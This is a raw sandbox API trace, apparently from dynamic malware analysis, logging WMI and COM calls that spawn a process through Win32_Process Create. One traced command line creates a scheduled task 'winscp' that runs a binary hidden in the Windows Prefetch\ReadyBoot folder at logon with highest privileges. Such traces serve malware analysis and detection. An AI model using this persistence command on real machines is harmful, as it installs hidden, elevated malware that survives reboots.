WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd080, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd140, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd140, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd140, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0079.073] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1bfbd080) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd140, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd140, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd140, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0079.073] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbd080, uIndex=0x0, pszName="root") returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd140, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1bfbd140, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0079.073] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1bfbd080, uIndex=0x1, pszName="cimv2") returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd140, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd140, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd080, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetServer (in: This=0x1bfbd080, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd080, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0079.073] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0079.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.074] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd080, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0079.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd080, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0079.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd080, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0079.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd080, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0079.074] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd080, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0079.074] IWbemServices:GetObject (in: This=0x1c008d10, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1171550, ppCallResult=0x0) returned 0x0 [0079.086] IWbemClassObject:GetMethod (in: This=0x1171550, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11718c0, ppOutSignature=0x1b2fd9e0*=0x1171c30) returned 0x0 [0079.087] IWbemClassObject:SpawnInstance (in: This=0x11718c0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bf6ca10) returned 0x0 [0079.087] IWbemClassObject:Get (in: This=0x1bf6ca10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a6f8*=0, plFlavor=0x2a9a6fc*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a6f8*=8, plFlavor=0x2a9a6fc*=32) returned 0x0 [0079.087] IWbemClassObject:Get (in: This=0x1bf6ca10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a6f8*=8, plFlavor=0x2a9a6fc*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a6f8*=8, plFlavor=0x2a9a6fc*=32) returned 0x0 [0079.087] IWbemClassObject:Put (This=0x1bf6ca10, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"winscp\" /sc ONLOGON /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0079.088] IWbemClassObject:Get (in: This=0x1bf6ca10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a788*=0, plFlavor=0x2a9a78c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a788*=13, plFlavor=0x2a9a78c*=32) returned 0x0 [0079.088] IWbemClassObject:Get (in: This=0x1bf6ca10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a788*=13, plFlavor=0x2a9a78c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9a788*=13, plFlavor=0x2a9a78c*=32) returned 0x0 [0079.088] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1170e70) returned 0x0 [0079.088] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0079.088] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0079.088] IUnknown:AddRef (This=0x1170e70) returned 0x3 [0079.088] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0079.088] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0079.089] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1170e78) returned 0x0 [0079.089] IMarshal:GetUnmarshalClass (in: This=0x1170e78, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0079.089] IUnknown:Release (This=0x1170e78) returned 0x3 [0079.089] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0079.089] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0079.089] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0079.089] IUnknown:Release (This=0x1170e70) returned 0x2 [0079.089] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0079.089] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0079.089] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0079.089] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0079.090] IUnknown:QueryInterface (in: This=0x1170e70, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0079.090] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0079.090] IUnknown:AddRef (This=0x1170e70) returned 0x3 [0079.090] IWbemClassObject:Put (This=0x1bf6ca10, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1170e70, varVal2=0x0), Type=0) returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbcd80, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcd80, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcd80, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbccc0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbccc0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcd80, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0079.090] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbcd80, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0079.091] IWbemServices:ExecMethod (in: This=0x1c008d10, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bf6ca10, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1bf6ccc0, ppCallResult=0x0) returned 0x0 [0079.328] IWbemClassObject:Get (in: This=0x1bf6ccc0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9aaa0*=0, plFlavor=0x2a9aaa4*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcb8, varVal2=0x0), pType=0x2a9aaa0*=19, plFlavor=0x2a9aaa4*=0) returned 0x0 [0079.329] IWbemClassObject:Get (in: This=0x1bf6ccc0, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a9aaa0*=19, plFlavor=0x2a9aaa4*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xcb8, varVal2=0x0), pType=0x2a9aaa0*=19, plFlavor=0x2a9aaa4*=0) returned 0x0 [0079.329] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0079.330] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0079.330] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0079.330] IUnknown:Release (This=0x111f638) returned 0x1 [0079.331] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c0018e0) returned 0x0 [0079.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0018e0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0079.332] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c0018e0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bfbd200) returned 0x0 [0079.332] WbemDefPath:IUnknown:Release (This=0x1c0018e0) returned 0x0 [0079.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bfbd200) returned 0x0 [0079.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0079.332] WbemDefPath:IUnknown:AddRef (This=0x1bfbd200) returned 0x3 [0079.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0079.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0079.332] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c001920) returned 0x0 [0079.332] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c001920, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0079.332] WbemDefPath:IUnknown:Release (This=0x1c001920) returned 0x3 [0079.333] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0079.333] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0079.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0079.333] WbemDefPath:IUnknown:Release (This=0x1bfbd200) returned 0x2 [0079.333] WbemDefPath:IUnknown:Release (This=0x1bfbd200) returned 0x1 [0079.333] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0079.333] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0079.333] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd200, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1bfbd200) returned 0x0 [0079.333] WbemDefPath:IUnknown:AddRef (This=0x1bfbd200) returned 0x3 [0079.333] WbemDefPath:IUnknown:Release (This=0x1bfbd200) returned 0x2 [0079.333] WbemDefPath:IWbemPath:SetText (This=0x1bfbd200, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0079.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd200, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0079.333] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd200, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0079.333] WbemDefPath:IWbemPath:GetText (in: This=0x1bfbd200, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0079.333] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd200, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0079.333] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bfbd200, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0079.333] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bfbd200, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0079.334] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0079.334] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0079.334] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0079.334] IUnknown:Release (This=0x111f638) returned 0x1 [0079.336] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c001960) returned 0x0 [0079.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c001960, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0079.336] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c001960, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1bfbd2c0) returned 0x0 [0079.336] WbemDefPath:IUnknown:Release (This=0x1c001960) returned 0x0 [0079.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1bfbd2c0) returned 0x0 [0079.336] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0079.337] WbemDefPath:IUnknown:AddRef (This=0x1bfbd2c0) returned 0x3 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0079.337] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bfbd2c0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, 